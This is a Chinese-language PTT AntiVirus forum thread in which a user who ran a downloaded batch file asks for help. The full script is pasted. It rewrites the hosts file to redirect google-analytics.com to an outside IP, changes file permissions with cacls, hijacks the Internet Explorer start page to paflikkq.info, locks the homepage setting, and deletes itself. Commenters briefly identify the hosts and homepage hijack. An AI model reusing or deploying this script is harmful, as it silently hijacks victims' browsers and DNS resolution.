[問題] 請問這算是中毒還是網頁被廣告綁架?

看板AntiVirus作者時間12年前 (2011/07/20 11:30), 編輯推噓1(102)
留言3則, 2人參與, 最新討論串1/1
前幾天下載了一個壓縮檔,結果解壓縮後是一個批次檔, 我又按太快執行了它,結果現在點選網頁後常常會跳到其他廣告網頁, 但不是每一次都會,下面是檔案內容,機碼裡首頁被改的部分我已經改回來了, 但其他部分看不懂,可以麻煩網友幫忙看一下對電腦有沒有影響嗎? 謝謝! @echo off if exist %systemroot%\SysWOW64 ( set hosts=%systemroot%\SysWOW64\drivers\etc\hosts ) else ( set hosts=%systemroot%\System32\drivers\etc\hosts ) attrib -s -r -h %hosts% echo y| cacls %hosts% /T /G All:F echo y| cacls %hosts% /T /G ?F (echo. echo # echo 178.162.171.49 google-analytics.com echo 178.162.171.49 www.google-analytics.com )>>%hosts% echo y| cacls %systemroot%\System32\drivers\etc /T /G ?R echo y| cacls %systemroot%\System32\drivers\etc /T /G All:R ipconfig /flushdns reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://paflikkq.info" /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://paflikkq.info" /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /d "http://paflikkq.info" /f reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "HomePage" /t REG_DWORD /d 00000001 /f erase %0 -- ※ 發信站: 批踢踢實業坊(ptt.cc) ◆ From: 111.254.43.30

07/20 21:25, , 1F
上面的部分是改hosts檔案 正常來說應該只有
07/20 21:25, 1F

07/20 21:26, , 2F
127.0.0.1 localhost這行而已(說明當然不算)
07/20 21:26, 2F

07/21 11:34, , 3F
看來IE的起始網頁被綁架囉
07/21 11:34, 3F
文章代碼(AID): #1E9al8GU (AntiVirus)